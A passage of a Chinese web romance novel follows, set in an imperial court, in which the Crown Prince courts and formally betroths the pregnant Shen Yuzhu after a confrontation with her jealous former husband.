她收回思绪,却恍然地发现,他们在往芳菲殿走。 沈玉姝脸蛋皱了皱,奇怪问:“为什么去芳菲殿?” “夫人不想看看你的聘礼?”尚珏轻笑反问。 “聘礼?”沈玉姝怔怔,粉嫩的唇微张,有些傻气。 尚珏凑上去毫不客气亲了一口。 “嗯,就快到了。” 话音落下,一个拐角后,芳菲殿的院门就出现在前头,院子里的桃花依旧开的灼眼。 沈玉姝奇怪地歪了一下头:“聘礼,为什么要来芳菲殿。” 尚珏笑着没说话,拉着沈玉姝的手往东偏殿走,在门口站立。 他转了个身,从后面搂住沈玉姝,下巴垫在她的肩膀上,语气诱哄温和:“打开看看,夫人?” 沈玉姝耳朵酸痒,不免顺着他的话,伸手将手心贴在门板上。 手腕用力,殿门应声而开—— 里面是成箱成箱的紫檀木,合不上的缝隙里露出晃眼的珠光宝气,几乎占满了整个屋子,没给人留下下脚的缝隙。 沈玉姝惊愕地瞪大眼,好看的鹿眼瞪得圆溜。 “这……都是?” 尚珏闷笑几声,偏脸在她脖颈上落下一个吻:“嗯,整个东宫的私库都在这了,本来想夫人在芳菲殿闲着无聊四处走意外发现这,我就顺理成章地跟夫人求娶,结果没想到夫人还真的老老实实只坐在正殿里。” 沈玉姝嗫嚅:“……我懒得。” 尚珏笑开:“没事,不重要——我终于能名正言顺娶你了,姲姲。” 这话让沈玉姝眼睛一红:“不喊夫人了?” “嗯,成婚后再喊。” “肯嫁给我吗,姲姲?” 沈玉姝失笑,偏头吻住尚珏的唇:“嗯,愿意的。”【魔蝎小说 mo xie xs .c om】 第 81 章【VIP】 第81章 第81章“谁的孽种” 四月的天,花开了满城。 十二这天下了雨。 沈玉姝抖着伞,匆忙钻进了沈府檐下,被雪青带着一块披风裹了个满。 雪青焦急道:“小姐您跑哪里去了?奴婢找了您好久。” 沈玉姝晃晃手中挂着黑绳的黄铜钥匙:“去给书肆重新开业了,找了个看店的伙计,盯人打扫废了点时间。” 雪青是知道书肆事的,她顿了一下,拿过一把更大的油纸伞,遮着沈玉姝往芜院走说:“这种事您跟奴婢说一声就好,您怀……”她想起是在沈府,又打了个结重新说,“您身子不好,着凉怎么办?” “应该不会吧,我没淋到雨。” …… 两人说着,抄近道到了芜院,雪青检查了一番,确认沈玉姝没淋湿,就先跑去烧水了。 沈玉姝捧着披风喊:“你找柴房的小厮做就好了。” 没回应,跑远 了。 沈玉姝舔舔下唇,有点无奈。 好吧。 府里原本就备着水,不多时便弄好了湢室,沈玉姝便先去沐浴,等她折腾出来的时候,已经快酉正了。 她一边擦着头发,一边在桌边坐下,说:“这就天黑了,我好像是回来的有点晚。” 沈玉姝身上穿着偏薄的寝衣,四个月的孕体已经有些显怀了。 不明显,只有一点轻微起伏的轮廓,但她四肢都没胖,粗略一瞧只当是积食了。 雪青摆着菜说:“可不是,您出去的时候都没跟奴婢打声招呼,吓奴婢一大跳。” 沈玉姝歉仄地笑了声,正要说什么,忽听“哒——”的一声。 她顿了一下,只当听错了。 “下次一定和你说。” “哒——” “哒——” 两声连着响。 沈玉姝哑声,大概猜到是谁了。 她挠挠锁骨,问:“还有饭吗?我有点饿。” “有的,您吃完奴婢再盛。” “再盛一碗来吧。” 她这么说了,雪青也就没再问,快步去了小厨房盛了饭来。 沈玉姝接过饭,笑道:“辛苦你啦,这里不用你伺候了,去休息吧。” “奴婢给您收拾了碗筷……” 沈玉姝道:“不用,明日一样的。” “……好吧,那奴婢先回去了。” “去吧。” 等雪青离开,沈玉姝便站起身,走到适才有响动的窗户处,好整以暇地站了一会。 窗是琉璃瓦的,里面烛火一照,便显出一个绰约的人影。 好一会,那个人影倾身,在琉璃瓦上敲了两下:“深更半夜,你来做什么呀。” 她语气偏甜,打着卷,平白透着娇憨。 尚珏闷笑一声:“偷个吻。” 话落,那扇没挂锁扣的平开窗呼啦一声从外被打开,带着外面料峭的春雨一同卷进来。 沈玉姝眨眨眼:“你身上湿了。” 尚珏笑:“嗯。” “我这可没有你的衣服……你没忘吧?”沈玉姝没扎头发,乌黑绸缎似的发就随意披散着,说着话,头一歪,就往一边偏,衬得肤色更白了。 “没事,”尚珏手掌抵在窗沿,手背青筋迸发,略一发力,整个人便轻盈地翻进来,他随手拍了一下身上的水,笑了下说,“晚上撑着晾一下就干了。” 沈玉姝笑他:“太子殿下越来越不讲究了。” “嗯,所以我要来遵守承诺了。” 沈玉姝眨眨眼,还来不及反应,唇角就快速落下一点灼热的触感。 哦,原来他指的承诺是那句“偷个吻”。 “哼,堂堂太子殿下居然翻窗。”沈玉姝说。 “当然,在扬州的时候我还爬过墙头揭过瓦。” 尚珏没靠得太近,怕身上的寒气度到沈玉姝身上,直到微湿的外袍被脱下扔到罗汉床上,他才拉着沈玉姝在桌边坐下。 桌上摆了两碗饭、一双筷子和一柄银勺。 沈玉姝拿过银勺:“我怕雪青猜到你来,没多说——你用筷子吧,我不爱用那个。” 说完,她怕尚珏误会又补充道:“我平时自己单独吃饭也用勺子。” 尚珏莞尔,应下端起碗夹了一箸菜在沈玉姝碗里。 吃了一会,尚珏说:“明日去见沈大人了。” 沈玉姝歪了一下头,有些疑惑:“那你还来?” “影响吗?他不知道。” 沈玉姝哑口无言,深觉他歪门邪道。 “你别去了,我担心沈大人看到你陪着我更生气。” 沈玉姝闷笑:“嗯,我知道的。” 她不知道书肆重新开业的事尚珏知道不知道,她觉得他应该知道,但他没问,她也就懒得特地提。 反正……开都开了。 等一顿饭吃完,尚珏笑着凑近在她侧脸亲了一口:“我来收拾碗筷,你去休息吧,小老板娘。” ***** 宜平宫 尚琢手上拿着一整叠纸张,面色沉得出水,步子在廊下走得飞快。 他眼睛有些下三白,眼睫又浓且偏短直,拉着脸看人的时候几乎骇人。 他一路闯进主殿,丽妃正在敷脸,见人闯进来吓了一跳:“什么人!” 身后宫人连忙跪下告饶:“娘娘饶命,奴婢们拦不住殿下!” 尚琢没管那些乱七八糟的声音,他声音哑得含三分血气:“为什么没人告诉我,沈玉姝要成婚了。” 宜平宫内四下寂静。 丽妃坐起身,挥退了所有宫人。 待门关上,她才轻轻皱起眉:“你怎么知道的?” “儿臣怎么知道的?”尚琢咬着她的话,森然嗤笑,“我若是不查,你们是想一直瞒着我吗!” “什么瞒不瞒着!你和她和离了,哪里有特地和前夫说这事的道理!”丽妃低呵一声,“你看看你像什么样子,我不是告诉你,最近你要封王,让你安分一些吗!” “我才不在乎那些。”尚琢一字一顿地说。 “那你在乎什么,沈玉姝吗!”丽妃恼怒地甩了一盏青花瓷,砸在尚琢脚边,“你当我不想让你们复合吗,你父皇不答应,我能有什么办法!” 尚琢被劈头盖脸骂了一顿,却好像没听见一般,他低着头用力搓了一把脸,从指缝里呼出一口热气:“父皇不会那么轻易答应沈玉姝再婚,何况是圣旨——肯定是发生了什么。”他抬起眼,猩红的眼白直勾勾盯着丽妃,“母妃,你告诉我。” 丽妃愕然,气焰落了大半,好半天没说出话:“事成定局,告诉你又有……” “求求你,告诉我。”尚琢绝望地将脸埋进手心,从指缝里传出又闷又悲怆的叫喊,“您告诉我,求求您了,我不能眼睁睁看着她嫁给别人,我受不了……只要她还没成婚,我就还有……” “她怀孕了。”丽妃深深看了尚琢一眼,“你知道了,现在能怎么办呢?” / 四月十三。 清晨,估摸着沈策下朝已经回府后,尚珏便准备要去拜访了,他没让沈玉姝送,翻了窗落在院子里后便冲沈玉姝挥挥手:“进去吧,外面还有些冷。” 沈玉姝走上前,手肘撑在窗沿上,半个身子倾出去。 她眨眨水润的鹿眼,问:“你不亲亲我再走吗?” 尚珏动作顿了一瞬,牵唇笑开:“你确定?那可就不是一炷香能解决的了。” 沈玉姝耳朵一红,立刻缩回去了。 尚珏笑着哄她,“欠着,回来再亲。” 他偏头望了眼院子里的水汽,上前替她关上窗:“春意尚浓,别把孤的夫人冻着了。” 透过窗户那扇半透的琉璃窗,沈玉姝看见那道身影晃了两下,随即淡了、走远了。 沈玉姝心里没空落,反倒被塞满了,晃一晃便能晃出满腔的爱来。 / 这个时辰还很早,才卯正,但昨夜两人没折腾,用过晚膳消了会食后便睡了,现下沈玉姝倒也不觉得困。 她挑了一件鲜亮的明绿褂子,有闲情地寻了一支青雀头黛细细描着眉。 但也大抵是等待时间太难捱,她不可避免地需要寻一些专注的事情去捱过这段,好像打发完了,就能轻易快速地看见答案了。 沈玉姝梳完妆,随意用发带拢了头发,寻了块干净的布把琴里外擦了干净,最后又到了堂屋,擦一个开放架—— 这架子是入宫前新打的,莫约一丈五尺高,三十多块格子,从下到上工工整整摆着数个大小不一的紫檀木盒,远远看过去,几乎显得有些庞大。 沈玉姝换了块布,一点一点整理着架子,将垫板和木盒一并擦干净。 这是个大工程,擦到沈玉姝腰都酸了也不过才过半。 忽的,“噔噔”敲门声响。 沈玉姝擦架子的手一顿,有些惊喜地回过头。 回来啦? 沈玉姝这么想着,快步走上前,将门一把拉开:“你怎么这么快就——” 她的话戛然而止,尚琢站在她门前,瞳孔猩红。 沈玉姝下意识地就想关门,却被尚琢死死挡住。 他的手卡在合页门缝里,苍白的手被卡的发红、发紫,皮都破了,生生汨出血来。 沈玉姝低呼一声,下意识松了手:“你做什么!你不要命了,你的手!” “你怀孕了。”尚琢一瞬不眨地盯着沈玉姝,对她的声音置若罔闻,如果细看,他的瞳孔已经缩得极小,“是那个姘头的。” 沈玉姝哑声:“……你怎么知道。” “居然是真的。”尚琢用力捞了一把头发,声音低而轻,“我都没碰过你、我都没碰过你……”他声音忽然扬起,几乎撕裂,“他怎么敢!他怎么能碰你!” “他怎么不能! ” “你是本王的!他当然不能!”尚琢一把撤出卡在合页里的手,猛地上前一步,目眦欲裂,死死掐住沈玉姝的肩膀,“告诉本王,这孽种是谁的!本王生剐了他!本王要让他生不如死!” 沈玉姝吃痛低叫了声:“你……” “好大的官威啊。”一声温润,毫不掩嘲意的声音从后方传来,“让孤听听,皇弟是要弄死谁?” 话落,一只节骨分明的手死死卡在尚琢的手肘上,虎口缀着一颗节骨分明的小痣。 这手看着温和,力道之大却让尚琢再进不了一步。 尚琢一怔,咬牙切齿地从齿间挤出几个字:“尚、珏。” 他音落,懵地回身重重挥出一拳,拳力之大破开的风。 “砰” 尚珏面不改色地攥住他挥拳的手腕,唇角都没动一分,他脸色冷得可怕,目不转睛看着尚琢死灰般的脸色,寒声吐出几个字:“滚出来。” “她是你弟妹。”尚琢咬着牙,红着眼说。 尚珏漠然置之:“还想好好做你的江浙王,就给孤滚出来。” 气氛凝滞了半晌,力道陡然一松。 尚琢冷漠和尚珏对视:“本王才不在乎那什么劳什子王,你把她还给我。” 尚珏嗤笑,上前半步,倾身在他耳边轻声嗤笑道:“是吗,那你就和你那蠢货娘,一起滚去守皇陵吧。” “你!” 尚珏冷着眉眼:“孤再说最后一遍,滚出来。” 两人僵持半晌,到沈玉姝都忍不住想上前时,尚琢终于移开了眼,撞开尚珏的身子走出这间堂屋。 沈玉姝连忙拽住尚珏的袖子,眼底含着水汽的急切问:“不会有事吧?” “放心。”尚珏伸手拍拍她的头,安抚地笑了笑,“进去吧,我和他谈。” 沈玉姝有些不安,好一会才迟疑的点点头:“……你别受伤。” 尚珏颔首,替她细细关上门,才冷下脸走到院子。 迎面而来就是一道拳风。 尚珏避也没避,生生受下这拳头,左脸顷刻漫上火辣辣的疼痛。 他自若地伸手,攥住下一拳,面色森寒:“够了吧,尚琢。” “你他妈的……那是你弟妹!你怎么能的!”尚琢骂道,“你他妈不是最要名声的吗,现在是几个意思!” “让你打一拳,是当初的确在你们婚姻续存间动了心思,给你赔罪。”尚珏甩开他的手,舌尖顶了顶酸疼的左脸,“但孤认识她比你早,开始的比你早,后来再开始的时候,你们已经和离了。” 尚珏漆黑的瞳孔微微往下一瞧,冷淡地对上尚琢胡乱的眼睛,然后缓慢扯出一个笑:“跟你说这个,是为了让你不要误会她,虽然没什么意义,毕竟你干的事……” 他嗤笑一声:“孤答应父皇保你做富贵闲散人,滚吧,别再来骚扰她,她怀着孕,受不了气。” 尚琢像一只困兽,无助低吼一声,受伤那只手攥着拳重重砸在假山上:“为什么是你!为什么是你!” “就算不是孤,如果沈玉姝爱上的是任何一个人,孤都不会允许你仗着身份试图欺压他人。”尚珏冷声说着,掸了掸身上的皱褶,“滚回你的恭王府,在你学会怎么尊重任何一个人前都不要再出来。” “尊重?我打了她一个婢女,她生气和我和离,我把那棍子翻着倍往自己身上打回来,这还不够尊重吗!” “你是为了让沈玉姝回心转意,而不是因为你觉得你对不起那个婢女。”尚珏面无表情地说着,随即微扬了下巴,“陈肆。” “在。” “送恭王回府。” “是。”陈肆应下,转而冲尚琢道,“殿下,得罪了。” 尚琢脸色惨白,几乎有些出神,无意识地被陈肆拽着往外走。 突然,他回过头:“等等,你说再开始的时候,我们已经和离了……你在之前就爱她?” 尚珏离开的步子一顿,坦然:“是。” “那如果我们没有和离呢。”尚琢哑声问,“你会怎么做。” 尚珏沉默半晌,他神色没有半分异样,只有喉结稍稍滚动, 好一会,他道:“祝她幸福,看着她一辈子。” 尚琢重重闭了下眼,嘴唇翁动,不知说了什么,然后轻轻挣开陈肆的手:“放开本王,本王自己会走。” 他说完便往外走,走了几步,还是一顿,说:“你最好能对她好,那种恶心的制度……如果你用在她身上,我就算死,也绝对不会让你好过。”他最后一字落下,便毫不犹豫地快步离开,没再多停留半刻。 尚珏沉沉呼出了一口气,还没来得及动作,身后的门便被唰地拉开。 一回头,就见沈玉姝拎着裙摆快步跑下来,他神色一转,和煦地弯了个笑,张开手将人抱了满怀:“你慢点。” “不是说好不准打架吗!”沈玉姝拿额头猛撞他肩膀一下。 尚珏轻笑:“当初你们婚内,的确是我劝你和离,而且我不是问心无愧,让他发泄一下——没事,不疼的。” “都肿了……到时候求亲,你要顶着这张脸来吗。”沈玉姝怨怼的幽幽看着他。 尚珏一怔,他真忘了这事。 “啧……果然不该让他那么轻松回去的。”他哼笑说,“没事,夫人多亲亲,明天就好了。” 沈玉姝偏开眼,冷哼一声:“谁管你……到时候大家只会说:哎呀,太子殿下怎么被人打了,才不关我的事。” “不对。”尚珏攥着沈玉姝的手亲了一口,眸色含笑:“大家只会说,沈小姐的郎君怎么被人打啦。” “不要脸!” 尚珏莞尔一笑,手腕一动,将人上上下下搂了个密不透风,一会餍足地叹了口气,低声道:“夫人,沈大人答应了,再过五天,总算全天下都能知道你是我的了。” 沈玉姝眼睛一酸:“……嗯。” 她眷恋地蹭了蹭尚珏的脖颈:“辛苦你了。”【魔蝎小说 mo xie xs .c om】 The end 第82章 第82章“是我爱你”…… 原本是约定好,在纳吉之前都不能再见的,但十八下午,沈玉姝就不得不去了趟偏门——尚珏从东宫跑出来了。 沈玉姝搭着雪青上了车,边撩起门帘边问道:“怎么啦突然,不是说好不准见的吗?” “还不是成婚,今日就当未婚夫妇提前相看一下?”尚珏懒洋洋挑着唇,伸手牵住沈玉姝的手腕,带着她往自己身边一拉,顺势抱住,“骗你的,带你去见个人。” 沈玉姝轻轻挣了一下腰,没挣开,也就随他去了。 她视线往窗外一偏,马车已经咕噜噜缓慢地行驶起来。 “骗我的?”沈玉姝收回视线,捡起他落下的话茬,好整以暇地说:“那原来你不想我啊。” 尚珏噎了一下:“怎么会?” “你自己说的。” “我随口说的。” “随口说的最真了。” 尚珏失笑,凑近蹭了蹭沈玉姝的侧颈说:“我们姲姲最近越发乖张了。” 沈玉姝笑眯眯反问:“你介意?我们还没成婚,圣旨还没下,你反悔吧。” “我可什么都没说,真是飞来横祸……”尚珏好笑地凑过去亲她,“难怪都说女子难哄,幸好我偏生爱哄夫人。” 沈玉姝满腹的话都被堵回去了,她向来招架不住尚珏时常流露出来的亲昵和情话,尤其是坦荡的时候,总勾着她耳朵连着心一块痒。 尚珏偏眼看到她红透的耳朵,坏心思地弯了弯眼:“不闹你了,快到了。” “嗯?”沈玉姝下意识的瞧了眼窗外,是个熟悉的街道。 她快速掀了两下眼皮:“……宁王府?” “嗯,你那侍女秋兰身子好了,带你来见见她。”尚珏说着,起身小心搀着她往外走。 沈玉姝有些喃喃:“……我一直都不敢来。” “嗯,所以我陪你来了。”尚珏伸手扶她下了最后一阶马凳,见她面色迟疑,说:“她都知道,她也很想见你,等会我在外面等你好不好?” “……她会不会怪我啊。”沈玉姝问。 尚珏笑:“这就要你去问她了,我只知道她告诉我她很想你。” 沈玉姝霎时眼睛就红了。 宁王府里变化不大,但是花草全摘了,听说是温慧孕期后程对花粉不适,宁王便将它全推平了,换了清净的人工水渠。 院子外,尚珏止步在门扇旁,稍稍用力捏了一下沈玉姝的手心,轻笑道:“去吧,我在这等你。” 沈玉姝点点头,缓步进了屋子。 里面透着日积月累的药香,很淡,细闻才闻得出来。 她一眼便瞧见坐在罗汉床上的两个人,是温慧和秋兰,两人大抵是在绣些东西打发时间。 沈玉姝屏了下呼吸,走过去道:“慧姐姐,秋兰。” 两人抬头,眼睛皆是一亮。 秋兰立刻搁下手中扇面小跑过来:“姑娘!”她凑近上上下下仔细打量了一下沈玉姝,“……姑娘你怎么胖了!” 沈玉姝心头那股退却的阴霾忽的消散。 她噗嗤一笑:“嗯,怀孕是会胖些。” 秋兰瞪大眼:“……太、太子殿下的?” “嗯。”沈玉姝失笑,伸手探她脑门,“你脑袋里都在想什么?” 温慧轻笑:“好了,快让玉姝坐过来,怀孕一直站着小心累着。” “对对对,姑娘你快坐。”秋兰豁然惊醒,忙拉着沈玉姝坐下,止不住地好奇去瞧她的肚子,“……都看不出来。” “才四个月,不太显怀,太医说胎儿有些偏瘦。” 温慧也凑过来瞧,但她月份大了,凑不了太近,只撑着桌几看,她笑说:“瘦一些也好,生的时候不吃苦。” 沈玉姝点头:“尚珏也这么说。” 温慧笑意更深了,“太子是良配。” “对啊,小姐你能和恭王和离真是太好了,后来奴婢听说你和离的时候,开心坏了呢!”秋兰说。 “……抱歉。”沈玉姝咬着下唇,轻声道,“当时我回来晚了,让你受这么大……” “这有什么的!小姐你没事奴婢就很高兴……奴婢没怪你,玉兰也很感谢姑娘,怀夫人给她送了银子和地契回老家了,她说那是她在恭王府蹉跎一辈子也赚不到的。”秋兰挠挠头,絮絮叨叨说,“太子殿下给奴婢找了很多大夫,太医和游医都找了,连疤都没留,所以……姑娘你千万不要难怪。” 沈玉姝眼泪扑簌扑簌往下落,胡乱流着,下巴尖聚了一大滴泪,托着托着往下掉。 “太子殿下说,明日他要去提亲的时候,奴婢真的特别高兴。”秋兰低声道,“其实奴婢也总在自责,责怪自己当初宫宴,能早点找到姑娘的话,你就不用去恭王府遭那个罪了……” “那怎么能怪你!是我喝错了东西。” “所以姑娘也千万不要再自责了,咱们这么拉锅,可再没个头了,“她说,”而且那次其实是奴婢故意的,奴婢就想惹怒了恭王和纯小姐,受点罚,闹大了能让陛下发难,不论惩罚多大,总归能让陛下知道姑娘的处境,至少您能好过一些。”秋兰璨而一笑,“姑娘您和离了,奴婢就没白受这个苦,就足够对得起奴婢了。” 沈玉姝擦着眼泪轻笑:“就你哄我吧。” “奴婢哪里有哄你!是真的。” …… 三人在里面东拉西扯聊了一下午,等从屋子里出来时,天色已经偏暗了。 沈玉姝一眼便瞧见坐在院子里和宁王说话的尚珏,她提着裙摆小跑过去,“尚珏!” 尚珏应声回头,冷淡的表情柔了八分:“好了?” 沈玉姝点头,攀着他肩膀往后看,“你们在谈事?” 尚琰摆手:“两个家眷被征用的孤家寡人抱团取暖而已。” 尚珏笑骂一句,牵着沈玉姝的手说:“那我们就先走了。” “不用晚膳?” 尚珏莞尔一笑:“不了,孤的家眷是拐出来的,再不送回去,就要被老丈人发现了。” 尚琰大笑,伸手在他肩上捣了一拳:“行,等你们敲定婚期那天记得第一个跟本王说。” 两人随意说了几句,便告辞回了沈府。 在路上,沈玉姝和尚珏说:“我打算让父亲收秋兰为义女,之后从沈府出嫁。” 尚珏欣然答应:“好啊,嫁妆东宫出,双倍。” 沈玉姝笑说他像个土财主。 尚珏勾着笑对此照单全收,只在临别前拽着沈玉姝亲了又亲,“回去吧,等明日孤来向你求亲。” 沈玉姝软着身子伏在他胸口,低低应声嗯。 ***** 四月十九。 清晨,沈府外的街道便传来噼里啪啦的鞭炮声,闹的整条街道都醒了来。 “这是什么情况?” “哎哟喂,你还不知道啊,太子殿下下聘呢!” “太子殿下?!那可不得了,这是哪家姑娘得了青眼,真是祖上积德。” 回答的那人讳莫如深地啧一声,挤眉弄眼地往沈府看:“就那家,和恭王和离的。” 周遭几人瞪大眼:“原来太子殿下心悦的那人……可他们……” “几位。” 一道沉稳的声音打断几人的对话,他们抬眼回头,就对上一张方口直鼻,显得有些不近人情的武将脸。 陈肆面无表情地递出手中几分缠金礼品:“今日我家主子下聘,不想听见什么不好的话,一点薄礼,送几位去给家里孩童买些糖。” 他说完便转身跟上吹吹打打的班子,身后聘礼长得看不见尾。 几人面面相觑,打开金丝袋一看,里面是莫约五两的银子,这几乎等同普通农户一整年的开支。 再四处一望,就连孩童都得了一份。 领头那人咋舌:“真是大手笔。” “是啊。” “……天作之合。” “白头偕老。” “早生贵子。” …… / 沈府,一个小厮飞快跑进正屋,里头主座上端坐着沈策和怀夫人,下首则是沈玉姝和沈经汇。 小厮气喘吁吁:“东宫的聘礼单子和礼官到了!” 沈策颔首:“快快请进来。” 话落,身穿朝服的礼官已经跨进了门槛。 他先冲上首二人行了礼,又与沈玉姝和沈经汇问了好,才从怀里拿出那份聘礼单子…… 准确来说应该是卷轴。 礼官清清嗓:““良辰吉日,天地开张,两姓联姻,永结秦晋之好!今奉太子殿下之命,特备三书六礼,敬告沈府高堂,以成纳征之仪。”① “谨奉:紫檀木雕荷花纹宝座一张、黄花梨木雕凤纹五屏风式镜台一张、紫檀木六柱式架子床一张、黄花梨云纹龙条案一张、紫檀木花桌一张……” 礼官清清嗓,将卷轴挪了一寸:“书画类:如意轮观音像残片一篇、瑞雪图一篇、车子平真迹三篇……” “首饰类:白玉镂雕凤凰坠佩一件、嵌米珠珊瑚素钿子一件、伽南香木镶金手镯一对、银镀金点翠穿珠流苏一件、镶宝石碧玺花簪一件……” “陶瓷类……” …… 沈策轻轻咽了口口水,低声问怀夫人:“这是多少银子了……” 怀夫人睨他一眼:“把你这官位拆了卖了都换不到的银两。” 一张卷轴毕,礼官清了清干涸的嗓,道:“还有乌南街一条街商铺、南街三十六家商铺、城郊三千亩良田,太子殿下交代,这些商铺良田,一半以聘礼赠予沈大人沈府,一半赠予沈小姐做私产。” 沈策被这手笔惊得半晌说不出话,他看着面带微笑的女儿一眼,然后舔了舔干巴巴唇道:“这是自然、自然,这就有劳大人……” “稍等。”礼官拱手作揖,“太子殿下在后头亲临。” 他话音一止,院内太监便高声唱道:“太子殿下到——” 沈玉姝抬眼望去,院中洒着稀疏的阳光,洒在尚珏苍耳绿长袍的半数身形上,托得他面如冠玉,气场温和。 尚珏目不转睛看着沈玉姝,漆黑的瞳孔被光 一射,折出四散的光,盛着满目笑意,他走到沈玉姝面前站立,目光望着她,又深又沉:“夫人可喜欢?” 沈玉姝抵着虎牙,倏而一笑:“喜欢。” 他轻轻吐出一口气,顿了好一瞬,俯身极轻极克制地抱了一下沈玉姝,低而坚定道:“是我爱你。” 你是我千思百求的一捧月光。 沈玉姝微怔,迟疑地回抱,指尖缠在他腰侧的布料上:“……我也是。” 四月十九,宜嫁娶、祈福、祭祀、求嗣…… 无忌。【魔蝎小说 mo xie xs .c om】